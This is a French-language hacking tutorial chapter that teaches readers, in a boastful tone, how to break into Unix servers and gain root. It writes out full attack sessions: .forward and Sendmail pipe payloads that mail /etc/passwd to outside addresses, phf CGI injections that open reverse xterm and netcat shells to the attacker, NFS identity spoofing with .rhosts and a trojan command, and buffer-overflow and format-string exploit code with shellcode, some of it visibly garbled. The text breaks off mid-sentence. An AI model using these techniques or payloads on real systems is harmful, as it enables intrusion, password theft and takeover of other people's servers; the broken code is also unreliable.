CHAPITRE 5, smashing unix system for fun and profit [ unix hacking ] UNIX... Le système d'exploitation des programmeurs, des administrateurs et des hackers. Des programmeurs car il intégre un compilateur permettant de programmer en c, c++, pascal, delphi, scripting, assembleur, etc... Des administrateurs car unix est un système multi-utilisateurs parfaitement adapté au monde des réseaux. Des hackers enfin, car dieu sait si unix est si mal sécurisé... Obtenir un accès racine sur un système unix provoque une joie si intense, si émouvante (... [évasion lyrique] ...) . Enfin bref, c'est toujours un plaisir d'exploiter des faiblesses de sécutité dans ce système, c'est même souvent facile, et comme les serveurs sont pratiquement tous équipés de linux, internet constitue un vrai paradis pour tous les hackers en herbe... So goooooood, alors on commence. :@-) ( <--- meuhhhh) a) Introduction Bienvenue dans le monde fabuleux de l'unix. Les techniques qui vont suivre demandent que vous ayez vous même en votre possession une machine tournant sous linux, peut importe si c'est une debhian, une mandrake ou une red hat, pour hacker ca revient au même. J'attend tout de même de vous que vous connaissiez quelques commandes unix. Nous allons déjà voir les bases qui nous seront nécessaires pour poursuivre nos opérations héhéhé ... 1. Le compilateur gcc Bon, on va déjà voir le compilateur gcc. Pour compiler (=rendre executable) un fichier source c, la commande sera : >>> gcc fichier.c -o fichier Cela compilera fichier.c en lui donnant pour nom 'fichier'. 2. Les fichiers rhost Les fichiers rhost maintenant. Ces fichiers permettent établissent des relations de confiance entre individus, et permettent à un utilisateur de se connecter sur une machine sans donner de mot de passe, à condition qu'il soit déclaré dans le fichier rhost du compte de l'utilisateur sur lequel il veut se connecter. Exemple de fichier rhost : # les # servent à inclure des commentaires # hostname // logname domain1.com pseudobidon domain2.com autrenickbidon # fin Ce rhost par exemple placé dans le repertoire d'un user nommé guest sur X.com donnera l'accès au compte guest à pseudobidon de domain1.com et à autrenickbidon de domain2.com Un "+ +" placé dans le rhost d'un utilisateur signifie que tous les users ont le droit de se connecter sans mot de passe à cet utilisateur. Et enfin, si vous êtes déclarés dans le .rhost d'un user, vous pouvez faire un rlogin : >>> rlogin domain.com -l user Aussi simple que ça ; 3. Les fichiers forward Les fichiers forward quand à eux permettent de réexpédier du courrier destiné a quelqu'un vers une autre boite au lettre électronique. Mais ils peuvent aussi executer des commandes lorsque l'utilisateurs recoit un mail. Exemple de fichier forward, placé dans le home directories d'un user nommé Guest : Yn200R2@caramail.com "/bin/mail nickairmax@caramail.com < /etc/passwd" Cela signifie qu'à chaque fois que Guest envoie un mail, il en envoie une copie Yn200R2@caramail.com et envoie le etc/passwd à nickairmax@caramail.com . Les fichiers forward peuvent donc être très utiles... 4. Le root Le root. C'est ce que cherche à obtenir chaque hacker qui se respecte. Un accès root (root = racine) vous donne accès à tous les fichiers placés dans le repertoire racine (/) En clair, être root sur un serveur équivaut à avoir tous les droits dessus. 5. Les exploits Les exploits now. Un exploit est un programme ou une procédure (codée en c le plus souvent) qui exploite un bogue dans un logiciel spécifique. Il existe à ce jour trois grandes catégories d'exploits : * remote user : compilés et executés à distance, ils donnent un shell user sur un serveur. * remote root : compilés et executés à distance, ils donnent un shell root sur un serveur. * local root : compilés et executés en local sur le serveur, ils donnent un shell root sur celui ci. Les exploits local root nécessitent que vous ayez déjà un compte sur le serveur. Une bonne partie de ces exploits utilisent le fait que le repertoire /tmp est 777 (cad en -rwxrwxrwx >> world-writable). /tmp est utilise par un grand nombre de programmes suid pour y stocker des fichiers temporaires, fichiers qui sont souvent ecrits avec les permissions du root. Les exploits vont utiliser un lien entre un fichier appartenant au root et un fichier determiné par l'user. Dans le cas d'un buffer overflow, d'une attaque par chaîne de format, ou d'un race condition, le principe est fondamentalement différent, nous allons y revenir. 6. Le shell Le shell. Beuhh si vous savez pas ça vous êtes mal partis... Le shell est l'interpréteur des commandes. Exactement comme le ms-dos de windows. Un shell user nous permettra d'executer des commandes à partir d'un compte user, et un shell root nous permettra d'executer des commandes à partir d'un compte root, c'est tout. 7. Les permission des fichiers On va prendre un exemple, je souhaite afficher le contenu du repertoire etc : >>> ls etc >>> d rwxr-x--- root skipass 10000 05/02/02 18:50 passwd >>> d rwxr-x--- root skipass 12000 05/02/02 18:51 group 1 2 3 4 5 6 7 8 Et voilà à quoi correspondent ces differentes parties: 1 : le type de fichier : il en existe trois : -les repertoires -les fichiers ordinaires (textes, courriers, source de programmes,.exe,etc.) -les fichiers speciaux (pour la gestion du systeme, donc interressant) 2 : le bit de droit d'acces: il se divise en trois partie de trois caracteres (il y'a neuf caractères) La premier partie concerne le propio du file (u) La deuxieme partie concerne le groupe du proprio (g)(avec lequel il travaille) La troisieme concerne un utilisateur externe au groupe.(o) Dans les trois cas il existe trois droit d'acces qui sont designe par trois lettre respective : r : droit de lecture (Read) w : droit d'ecriture (Writte) x : droit d'execution (eXecute) le - indique qu'il n'y a aucun droit accorde 3 : le proprio du file 4 : le groupe auquel le proprio appartient ou travaille 5 : memoire en ko 6 : la date de la derniere lecture 7 : l'heure de la derniere lecture 8 : le nom du fichier Ces quelques bases devraient déjà vous permettre de faire des étincelles... En plus bien sûr des banales commandes "echo machin >> fichier" , "mkdir repertoire", ou autre "ftp serveurftp.com" que vous êtes (je l'espère) censés connaître. Maintenant on va passer à la partie hacking. b) Accès à distance L'accès à distance est le premier objectif du hacker. Sans celui-ci vous ne pourrez rien faire. On va passer en revue les principales méthodes, courage... Note : Les commentaires sont introduits par // ne les utilisez pas pour hacker, mdr... 1. Méthode ftp/tftp Cette méthode est sans doute la plus connue à ce jour. Si un serveur à les ports 21 ou 69 d'ouvert, vous pourrez tenter de l'infiltrer via ftp (23) ou tftp (69) . Exemple d'intrusion ftp : ------------------------------------------------------------------------------- [hacker] % >>> cat password.forward // Un fichier forward qui vous "|/bin/mail hacker@hacker.com < /etc/passwd" enverra le fichier passwd [hacker] % >>> ftp domain.com Connected to domain.com 220 domain FTP server ready. Name (domain.com:hacker) : >>> ftp (ou anonymous si vous voulez) 331 Guest login ok, send ident as password. Password : (entrée, pas besoin de password :)) 230 Guest login ok, access restrictions apply. ftp> >>> ls -lag 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 d rwxr-xr-x 4 101 1 512 Jun 20 2002 . d rwxr-xr-x 4 101 1 512 Jun 20 2002 .. d rwxr-xr-x 2 0 1 512 Jun 20 2002 bin d rwxr-xr-x 2 0 1 512 Jun 20 2002 etc d rwxr-xr-x 3 500 1 512 Aug 22 2002 pub 226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> >>> put password.forward // On place le fichier forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> >>> disconnect [hacker] % >>> echo test | mail ftp@domain.com ------------------------------------------------------------------------------- Aurez vous la patience que le gentil ftp vous envoie son file passwd ? Sinon, autre technique, un exploit qui, de tant à autre, mais c'est extrémement rare, vous donnera un accès root, ou par défaut, un accès anonymous : Autre exemple d'intrusion ftp : ------------------------------------------------------------------------------- [hacker] % >>> ftp victim.com Connected to victim.com 220 victim FTP server ready. ftp> >>> quote user ftp // Marche pas à tous 331 Guest login ok, send ident as password. les coups... ftp> >>> quote cwd ~root 530 Please login with USER and PASS. ftp> >>> quote pass ftp 230 Guest login ok, access restrictions apply. ftp> >>> get etc/passwd // On récupére etc/passwd 43 bytes received in 0,0015 seconds (28 Kbytes/s) ftp> disconnect ------------------------------------------------------------------------------- Par tftp ausi c'est cool. TFTP (Trivial File Transfert Protocol) présente des bréches importantes, héhéhé. Exemple d'intrusion tftp ------------------------------------------------------------------------------- [hacker] % >>> tftp tftp> >>> connect domain.com tftp> >>> get /etc/passwd /tmp/passwd.domain tftp> >>> disconnect ------------------------------------------------------------------------------- Huhuh, nous avons donc pu, à travers ces trois méthodes, récuperer le fichier passwd, qui contient les logins/password des users du serveur... Encore que ce fichier, soit il est crypté, soit il est en mode shadow. Si il est crypté, vous aurez un truc du genre "root: 1fd5s1: 0: 1: Superuser" , prenez donc Jack The Cracker ou tout autre decrypteur de pass Unix, et attendez... S'il est en shadow (en étoile), ce qui nous donne quelque chose comme "root:x:0:1:Superuser", cela veut dire que le vrai fichier passwd se trouve dans un autre répertoire, lisible que par le root, souvent dans un repertoire du genre etc/shadow, mais comme nous ne sommes pas root, héhéhé... Vous devrez aussi pour 'hacher' ces fichiers passwd, vous équiper d'un dico. En réalité, les crackers de mots de passe tel que John the Ripper ne décryptent pas le mot de passe proprement dis, vu que déjà le password qui se trouve dans le fichier est en réalité une chaîne de caractère crypté à l'aide du vrai mot de passe (qui est en fait la clé), les crackers vont donc tenter une attaque de type brute force pour chercher la bonne clé, le bon mot de passe, qui pourra cracker la chaîne. Parade contre les attaques par ftp/tftp : Désactiver les services ftp anonymous et tftp. Assurez vous qu'il n'existe pas de repertoires qui sont 777, /tmp mis à part bien sûr :(. Avons nous réussi à hacker un serveur par cette méthode ? Humm, n'y comptez pas, cela ne marche que très rarement, dans environ 5% des cas d'après moi... C'est pourquoi il vous faudra compter sur d'autres techniques... 2. Méthode par nfs Héhé, voilà une bonne vielle méthode sympatoche, assez vielle certes, mais toujours est-il qu'elle a fait ses preuves, et plutôt deux fois qu'une... NFS (Netword File system) est un protocole qui permet aux fichiers d'être partagés par plusieurs machines connectées au réseau. Comment exploiter un serveur qui exploite nfs, hummmm ? Avec nfs, vous pourrez facilement acquérir un compte user, on va voir ça. La commande showmount -e domain.com va nous permettre de voir les ressources partagées par nfs sur domain.com. La commande mount /rep va nous permettre de mounter et donc d'avoir accès à un repertoire partagé. Puis en trafiquant notre UID/GID local, on va pouvoir usurper l'identité d'un user, dans notre exemple ça sera guest. Ensuite on mettera un rhost dans le repertoire de guest nous autorisant à nous connecter dessus sans mot de passe. Et hop là le joli shell :)) Exemple d'intrusion par nfs : ------------------------------------------------------------------------------- [hacker] % >>> showmount -e victim.com // Voir les ressources partagées par nfs export list for victim.com: /export (everyone) // tout le monde peut exporter /var (everyone) export et var /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/root/easy easy /export/swap/easy easy [hacker] # >>> mount victim.com:/export/foo /foo // On mounte export dans [hacker] # >>> cd /foo /foo puis on va dedans [hacker] # >>> ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest // Huhu un guest, on rajoute donc un compte guest dans notre etc/passwd local [hacker] # >>> echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd [hacker] # >>> ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest [hacker] # >>> su guest // On se logge en guest, vu qu'on a usurper ce compte dans notre etc/passwd [hacker] % >>> echo hacker.com >> guest/.rhosts // On met le nom de sa machine dans le rhost du guest [hacker] % >>> rlogin victim.com // On fait un rlogin dessus Welcome to victim.com! victim % // Magique !!! ------------------------------------------------------------------------------- Huh, now on a accès à la bécane, sous un compte guest, ce qui nous permettra de compiler quelques buffer overflow en local tout à l'heure :)) . Si le repertoire /usr était exporté et mountable pour tout le monde, nous aurions pu placer un cheval de troies, démonstration - Exemple de cheval de troies pour /usr ------------------------------------------------------------------------------- [hacker] % >>> showmount -e victim.com export list for victim.com: /usr (everyone) // Un repertoire usr exporté, /etc easy on va donc pouvoir trafiquer /export/exec/kvm/sun4c.sunos.4.1.3 easy quelques commandes... /export/root/easy easy /export/swap/easy easy >>> mount /usr $ >>> cat bi // Un exemple de #!/bin/sh cheval de troies, >>> echo "+ +" > ~/.rhosts prêt à l'usage... echo "Commande inconnue" [hacker] % >>> umount victim.com // On se barre :) ------------------------------------------------------------------------------- Ici, on a donc mounté /usr, et créer une commande, bi. Maintenant, quand un utilisateur voudra utiliser vi (éditeur de texte linux), et bien si il tape "bi" au lieu de "vi", il mettra un "+ +" dans son rhost, ce qui permettra à tout le monde de se connecter sous son account... NFS est top, n'est ce pas ? J'ai même déjà vu des repertoires racine (/), exportables pour tout le monde ar cfs, ce qui constitue une impardonable erreur de sécurité... Devenir root dans ces conditions là ne constitue aucun problème, deux trois bricolages dans votre etc/passwd, quelques account pris, et à ce propos vous pouvez consulter votre uid/gid quand vous êtes sur un serveur, grâce à la commande 'status'. Je pense que cet article était assez complet, on passe à ot' chose. 3. Reversed telnet Le reversed telnet exploite en faite une faille dans les terminaux X. Un terminal X est un terminal connecté à un des ports de l'ordinateur, c'est un peu comme l'ancêtre de la console. On passe les commandes à un terminal X dans une fenêtre xterm, avec le gestionnaire X-Windows. Avec un xterm, on va tenter de s'envoyer, en local, un interpréteur de commande root, à noter que xterm est un service qui tourne entre les ports 6000 et 6003, vous ne pourrez rien faire si ces ports ne sont pas ouverts sur la machine cible. Alors on va prendre un exemple, un site web, par exemple www.xtermhole.com, possède une vulnérabilité phf, comme nous avons vu dans le chapitre 1, attaques cgi... Phf va nous permettre, grâce à xterm, de nous envoyer un shell root, bon notez aussi que vous pouvez exploiter cette faille avec d'autres moyens, par exemple Sendmail, on va y revenir. Voilà ce que l'on va donc taper dans notre navigateur : http://www.xtermhole.com/cgi-bin/phf.cgi?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20127.0.0.1:0.0 127.0.0.1 correspond à votre localhost, vous devrez le remplacer par votre adresse ip... Qu'avons nous fait ? Et bien grâce à phf, nous avons pu déclencher un renvoi de xterm chez nous, en le paramètrant de telle sorte à ce qu'il nous renvoie un uid et un gid 0, c'est à dire un shell root, yeepie !!! Et comme nous avons un interpéteur de commandes à notre disposition, xterm, nous avons donc le contrôle total sur le système, alors, kewl d'être rewt ? Sinon nous pouvons également tenter une connection par rsh sur un account sans password (si celui ci existe bien entendu) et s'envoyer bien un xterm bien peinard... >>> rsh victime.com -l login_sans_passwd csh -i >>> xterm -display 127.0.0.1:0 & A oui, un conseil aussi, n'oubliez pas de taper "xhost +" pour autoriser le xterm à venir sur le serveur, sans quoi ça marchera pas... Pourquoi ça s'apelle reversed telnet ? Et bien c'est parce que c'est le contraire du telnet inversé, que l'on va aborder maintenant... 4. Inversed Telnet Que faire si le serveur cible ne possède pas de terminal X ? Et bien nous pouvons faire appel à une toute autre technique, le telnet inversé. Cela consiste à lancer une session à partir du serveur cible vers notre système. On va faire appel au programme netcat (http://www.atstake.com) et mettre en surveillance les ports 80 et 25 sur notre système, si ces ports sont assignés à un service, vous devrez le désactiver à l'aide de la commande kill. Les commandes pour mettre en écoute les ports devront être tapées dans deux fenêtres différentes, les voilà : >>> nc -l -n -v -p 80 listening on [any] 80 Dans une autre fenêtre : >>> nc -l -n -v -p 25 listening on [any] 25 Ici, nc met en écoute les ports 25 et 80 (-l et -p) en mode prolixe (-v) et n'effectue pas de conversion dns (-n). Maintenant, au moyen de phf, nous allons lancer le telnet inversé, exemple avec www.phfhole.com : On va à cette adresse ; http://www.phfhole.com/cgi-bin/phf?Qalias=x%0a/bin/telnet%20127.0.0.1%2080%20|%20/bin/ sh%20|%20/bin/telnet%20127.0.0.1%2025 Là, le serveur va tenter une connection telnet sur les ports 80 et 25, mis sur écoute avec netcat je vous le rapelle, de notre système, 127.0.0.1 correspond à votre ip. Le résultat sera un inversed telnet qui va s'afficher dans nos deux fenêtres netcat. Cela vous donnera donc accès à un joli shell... On apelle ça telnet inversé, car c'est le contraire du reversed telnet, ici on tente une connection à partir du serveur vers notre système. A noter que l'on aurait pu prendre d'autres ports en exemple, j'ai choisi 80 et 25 car ils ne sont généralement pas équipés d'un pare-feu. Niveau sécurité, ahem, si votre serveur est sensible aux attaques phf, patchez le d'urgence ! Sinon supprimez le terminal X de votre serveur, dans le cadre d'un reversed telnet seulement. 5. Les bugs de Sendmail Un Sendmail sur le port 25 (smtp) est toujours source de très graves problèmes de sécurité. Nous pouvons faire plein de choses avec un Sendmail !!! La connection se fait par telnet sur le port smtp, clair, net, efficace... On pourra par la suite, avec un simple mail, executer tous types de commandes, tel se faire envoyer le fichier passwd, déclencher un xterm, envoyer des mail anonymes, etc.. Sans plus tarder un chtit exemple qui permet d'envoyer des mails anonymes ------------------------------------------------------------------------------- [hacker] % >>> telnet mail.sendmail.com 25 // On se connecte donc sur un smtp Trying to connect mail.sendmail.com... Connected to mail.sendmail.com Escape character is '^]'. 220 mail.sendmail.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 // Un Sendmail ! >>> mail from: anonymous@caramail.com // On met un email bidon 250 anonymous@caramail.com Sender ok >>> rcpt to: webmaster@whitehouse.gov // L'email du recepteur 550 webmaster@whitehouse.gov Recepter ok >>> data // data pour écrire le message 354 Enter mail, end with ." on a line by itself Halo Mr. President, i wrote that to say you what i think // Excusez mon of you : YOU'RE A NERD !! mauvais anglais... . 250 Mail accepted >>> quit Connection closed by foreign host. [hacker] % ------------------------------------------------------------------------------- Vous pouvez à partir de cet exemple envoyer un mail anonyme à n'importe quellle adresse, d'ailleurs cette astuce fonctionne avec tous les serveurs smtp je crois... Mais, envoyer des mails anonymes n'a pas beaucoup d'interêt en soi... On va voir d'autres exemple... Faire bloquer un demon SendMail (super-méchant...) ------------------------------------------------------------------------------- [hacker] % >>> telnet sendmail.com 25 Trying to connect sendmail.com... Connected to sendmail.com Escape character is '^]'. 220 sendmail.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 >>> vrfy aaaaaaaaaaaaaaaaaaaaa (*9999) >>> quit ------------------------------------------------------------------------------- La commande vrfy, si vous vous en souvenez, sert à vérifier un pseudo. En tentant de vérifier un nom d'utilisateur beaucoup trop long, on crée une situation de débordement de tampon (buffer overflow), qui provoque le blocage du démon sendmail... Passons maintenant à la faille la plus couramment utilisée - Se faire envoyer le fichier passwd ------------------------------------------------------------------------------- [hacker] % >>> telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 >>> mail from: "|/bin/mail hacker@hacker.com < /etc/passwd" 250 "|/bin/mail hacker@hacker.com < /etc/passwd"... Sender ok >>> rcpt to: nosuchuser 550 nosuchuser... User unknown >>> data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted >>> quit Connection closed by foreign host. [hacker] % ------------------------------------------------------------------------------- Cela enverra le fichier passwd à hacker@hacker.com... Il existe beaucoup de variantes quand à cette faille, voici comment effectuer un reversed telnet à l'aide d'un sendmail. Exploiter un xterm grâce à Sendmail , thx CoD4 ------------------------------------------------------------------------------- [hacker] % >>> telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 >>> mail from: "|xterm -display 127.0.0.1:0 -e /bin/sh " 250 "|xterm -display 127.0.0.1:0 -e /bin/sh "... Sender ok >>> rcpt to: nosuchuser 550 nosuchuser... User unknown data . quit ------------------------------------------------------------------------------- Humm, le joli xterm... Voilà donc pour ce qui est de sendmail, toutes les versions sont buguées, z'avez qu'à piocher, sinon il existe des exploits codés en c pour les versions de sendmail, allez sur http://www.insecure.org . 6. Les buffer overflow Bienvenue dans l'unvivers des buffer overflow, une technique de piratage très à la mode chez les script kiddies et qui a encore de longues belles journées devant elle. Les premières attaques par débordement de tampon ont vu le jour en 1988, suite au fameux "Robert Morris worm incident". Il faudra attendre jusqu'en 1996 pour que cette technique se popularise, et c'est ce que fit AlephOne, modérateur de la mailing list BugTrack, dans son pas moins célèbre article, 'Smashing the stack for fun and profit', paru dans le fichier 14 du 49 numéro du volume 7 de Phrack Magazine (ouf !) Bon, j'aurais pu vous traduire entièrement l'article de Aleph1, mais j'ai préferé donner une interprétation personnelle, avec quelques exemples tirés de Phrack... J'attend quand même de vous des bonnes connaissances en c, un petit peu d'assembleur si c'est possible... Donc, buffer overflow , kezaco ??? En gros, le principe est de dépasser le tampon mémoire d'une fonction pour pouvoir changer l'adresse de retour d'une fonction, de sorte à ce qu'elle execute du code programmé par le hacker, ce code est apellé oeuf, ou plus couramment shellcode, son but sera dans la plus part des cas de vous donner un shell (root). Comment ? Quand ? Pourquoi ? En réalité le dépassement de tampon exploite les faiblesses de certaines fonctions c, telles que strcpy(), strcat(), gets(), etc... Ces fonctions sont dangeureuses car elles ne contrôlent pas que la chaîne de destination ait assez de place pour accueillir la chaîne source. Avant de commencer à vous expliquer à écrire un buffer overflow, nous allons voir quelques notions fondamentales : * Le buffer (tampon) : Le buffer est une zone de mémoire utilisée pour stocker des données. On ne va s'interesser ici qu'aux stack overflow, pour le moment... * La stack (pile) : C'est une région spéciale de la mémoire tampon, qui permet de conserver des informations tels que les dernières données entrées seront les premières à sortir (algorythme LIFO, last in first out). C'est à dire que la dernière information ajoutée sera placée en haut de la pile, et sera le première à sortir. En assembleur, l'instruction PUSH ajoute une information au sommet de la pile, et l'instruction POP retire la dernière information entrée, placée au sommet de la pile. Petit exemple, imaginons un appel de fonction en c : ...(code)... appelfonction(int first, int second); ...(code)... Si nous désassemblons ce code, à l'aide de gcc : gcc -S -o exemple.s exemple.c ...(code)... push $first push $second call appelfonction On voit ici les instructions push, qui ajoutent first et second au sommet de la pile, et l'instruction call, qui apelle la fonction appelfonction en considérant les deux arguments first et second. Un stack overflow à lieu quand une fonction prend plus de place que prévu dans le buffer. Exemple, donc : #include #include void stackoverflow(char *str) { char buffer[16]; strcpy(buffer, str); } void main() { char overflow[128]; int i; for (i=0 ; i<127 ; i++) overflow[i] = '*'; stackoverflow(overflow): } Ici, la fonction stackoverflow a copié la chaîne overflow longue de 128 octets dans le buffer, qui ne fait que 16 octets, au moyen de la fonction strcpy. Le résultat, et bien cela sera que les octets débordant dans le buffer seront réecris de force dans la pile, et l'adresse de retour de notre fonction sera modifiée. Ainsi, un stack overflow permet de changer l'adresse de retour d'une fonction. Si on essaye de compiler ce code, on aura un Segmentation Fault, dans notre exemple il se produit une erreur car l'adresse de retour, codée sur 4 octets est composée de quatre fois la valeur binaire de *, ****. Mais ce que l'on voudrait, c'est écraser la valeur de retour de la fonction afin de pouvoir faire executer un code pré-défini, "l'oeuf". Le truc est, au lieu d'essayer de pointer sur ****, on va plutôt pointer sur un code pré-programmé, aussi simple que ça. Exemple, on va voir les détails du shellcode juste après... #include char shellcode[] = "\xeb\xO0\x08\x00\x74\x02\x89\xF6" "\x8b\x03\xff\xd0\x83\xc3\x04\x83" "\x3b\x00\x75\xf4\x8f\x5d\xfc\xc9" "\xc3\x8b\x76\x00\x56\x89\xe5" "/bin/sh"; char overflow[128]; int main(int argc, char *argv[]) { char buffer[16]; int i; long *var; var == (long *)overflow; for (i=0;i<32;i++) *(var + i) = (int)buffer; for (i=0;i main(void) { setreuid(0,0); exit(0); } On va donc le décompilé, pour obtenir le code assembleur, en voilà une partie, celle qui nous interesse... 80483b0: b8 46 00 00 00 movl $0x46,%eax 80483b5: bb 00 00 00 00 movl $0x0,%ebx 80483ba: b9 00 00 00 00 movl $0x0,%ecx 80483bf: cd 80 int $0x80 On va donc transformer cel en shellcode, rien de plus facile : "\xb8\x46\x00\x00\x00" "\xbb\x00\x00\x00\x00" "\bb9\x00\x00\x00\x00" "xcd\x80" Seulement voilà, les x00 sont des octets null, et on ne peut pas utiliser de shellcode contenant des octets null... Avec un petit peu d'astuces, on va essayer de remplacer les instructions de telle sorte qu'il n'y ait plus d'octet de type null... 80483b0: b8 46 00 00 00 mov1 $0x46,%eax va pouvoir se remplacer par : 80483c6: 31 c0 xorl %eax,%eax 80483c8: b0 46 movb $0x46,%al # xor est une opération sur les bits, xorl %eax,%eax met le registre %eax a zéro. Au final, le shellcode nous donnera : "\x31\xc0" (xorl %eax,%eax) "\x31\xdb" (xorl %ebx,%ebx) "\x31\xdb" (xorl %ecx,%ecx) "\xb0\x46" (movb $0x46,%al) "\xcd\x80" (int $0x80) Sachez aussi qu'il est bon de faire préceder ses shellcode de \0x90\, correspondant à nop, ainsi même si vous vous trompez sur l'adresse de retour de la fonction, le code pourra tout de même être executé. Et pour les codes c qui executent un shell, le shellcode devra être fini par "bin/sh". Sachez enfin que la plupart des shellcode ont été écris, et qu'il ne vous reste plus qu'à piocher sur internet pour trouver des shelcode, voir directement des buffer overflow, propres à un système bien précis. Il existe d'ailleurs plusieurs types de shellcode, celui qui binde un shell sur un port, qui casse les chroot, etc.. Tout pour s'amuser... Vous pourrez donc vous amuser à chercher des programmes sensibles à des buffer overflow, cad utilisant des commandes genre strcpy, pour ensuite essayer de coder l'exploit qui va avec. Pour déterminer si un programme est sensible, vous pouvez aussi lui passer comme argument une longue chaîne de caractères et voir si elle est sensible à un 'Segmentation fault', et noter l'adresse ou ca plante... Pour ce qui est de la sécurisation, la méthode est bien entendue d'appliquer des méthodes de programmation sûres, et de jamais employer strcpy, strncpy, strcat, ou d'autres fonctions qui ne contrôlent pas la mémoire du tampon. Les buffer overflow, en local ou sans accès, c'est le pied !!! (joli slogan ;)) 7. Attaques par chaîne de format Ce type d'attaque est proche du buffer overflow car il exploite aussi des vulnérabilités dans des programmes, cette fois ci dues à des fonctions c telles que printf, scanf, ou sprintf. L'attaque par chaîne de format consiste à exploiter ces fonctions en passant des chaînes de texte fabriqués avec des indicateurs de format, ce qui peut amener le système cible à executer n'importe quelle commande... Par exemple, utiliser un programme en lui passant comme argument l'indicateur de format %x, pour ainsi lire les données stockées dans l'espace mémoire du processus en cours. Et si on peut passer comme argument l'indicateur de format %n, on va provoquer un 'Segmentation Fault', et on va donc pouvoir écrire directement dans l'espace mémoire... Voici un exemple de programme exploitant un bug de format : /* exemple.c */ #include #include int main(int argc, char **argv) { char buf[2048] = { 0 ]; strncpy(buf, argv[1], sizeof(buf) - 1); printf(buf); putchar('\n'); return (0); } Voilà ce que ca va donner si on le compile et l'execute - en lui passant des arguments spécifique $ gcc exemple.c -o exemple $ /.exploit DDDD%x%x DDDDbffffaa44444444 Les %x formatent des arguments de la taille d'un entier sur la pile et les affichent en décimal. On remarque aussi que la deuxième sortie 44444444 est représentée en mémoire par la chaîne DDDD, que nous avons passé en argument. Donc, si on change le second %x par un %n, on va provoquer un 'Segmentation Fault' car le programme va essayer d'écrire à l'adresse 0x44444444, sauf si cette adresse est accessible bien entendu. Et une attaque qui exploite cette vulnérabilité va consister à écraser l'adresse de retour de de la fonction pour la faire pointer sur du code que l'on aura placé dans notre chaîne de format. A noter que l'exploit va prendre en compte quatre paramètres : - une adresse de retour, bien entendu - l'adresse du buffer vulnérable - l'adresse du shellcode dans la stack du serveur - l'offset (=décalage) pour atteindre le début du buffer Le principe d'une attaque par chaîne de format est donc quasiment le même qu'un buffer overflow, à la différence qu'on emploie des chaînes de format... Pour ce qui est de la sécurisation, comme ce type d'attaque consiste aussi à modifier l'adresse de retour d'une fonction, la seule méthode sera donc d'appliquer des méthodes de programmation sûres, comme on a vu tout à l'heure. Au fil de ces exemples d'intrusion, vous avez réussi à obtenir un accès sur le système ? Bien ! Vous êtes déjà root ? Alors sautez le petit c), le plus dur est fait... c) Obtenir son shell root Humm, après un accès sur le serveur, nous allons devoir passer root. La question qui tue : Comment ??? Comme je l'ai déjà dis je sais plus où, sous unix, un accès user équivaut à un accès root, avec simplement un peu de méthode... 1. Brute force cracking Autant vous le dire tout de suite : on ne va pas s'éterniser 107 ans sur ce type d'attaques, une fois utilisateur, il est très facile d'obtenir un shell root, soit en utilisant un exploit, genre un buffer overflow (le plus courant), soit en tentant une 'race condition' ; ou plus simplement en piquant le fichier passwd, en priant dieu pour qu'il ne soit pas en mode shadow. (get ou cat etc/passwd :)) A ce propos, voici une liste des repertoires ou sont planqués les 'vrais' fichier passwd, au cas ou etc/passwd serait en shadow en fonction de l'os du serveur (note : ces files ne sont lisibles que par le root, sauf grave problème de sécurité mais ne rêvez pas.. ;o) Liste des repertoires contenant les fichiers passwd cryptés (liste tirée de Phrack magazine) ************************************************************************ Unix Path Indication ----------------------------------------------------------------- AIX 3 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * ************************************************************************ Bon, on va dire que vous avez le fichier passwd, prenez maintenant John The Rippern décrypter ces mots de passe comme on a vu tout à l'heure, trouver le password du root, et loguez vous par ftp... Cette méthode reste tout de même très abstreignante, vivement déconseillée... 2. Utiliser des exploits Mais bon, la meilleure technique pour passer root, c'est quand même les exploits, plus précisément les buffer overflow. Vous vous en chopez un correspondant au système d'exploitation du serveur (faites appel à la commande uname -a pour deviner de quel système il s'agit, ou utilisez nmap :)), vous le placer dans votre repertoire sur le serveur, pis vous le compiler et l'executer. Tit exemple pour les neuneus qui comprennent rien : --------------------------------------------------------- >>> cd un_repertoire_sur_lequel_vous_avez_des_droits >>> put exploit.c >>> gcc exploit.c -o exploit >>> ./exploit (passez des arguments si c'est nécessaire) [root] $ echo héhéhé :) héhéhé --------------------------------------------------------- Voilà vous êtes passé root :) 3. Les race condition Ah, enfin une autre technique d'exploitation... Comme son nom l'indique, une race condition est une "course" contre le système, on va essayer de mettre celui-ci dans une situation particulière, dans laquelle il est exploitable puis on va l'exploiter ; Il existe un grand nombre de race conditions, on va tout de fois prendre un exemple, celui des problèmes de gestion de signaux. Ces signaux sont un mécanisme qui permet de signaler à un programme que quelque chose de particulier s'est produit. Par exemple, pout 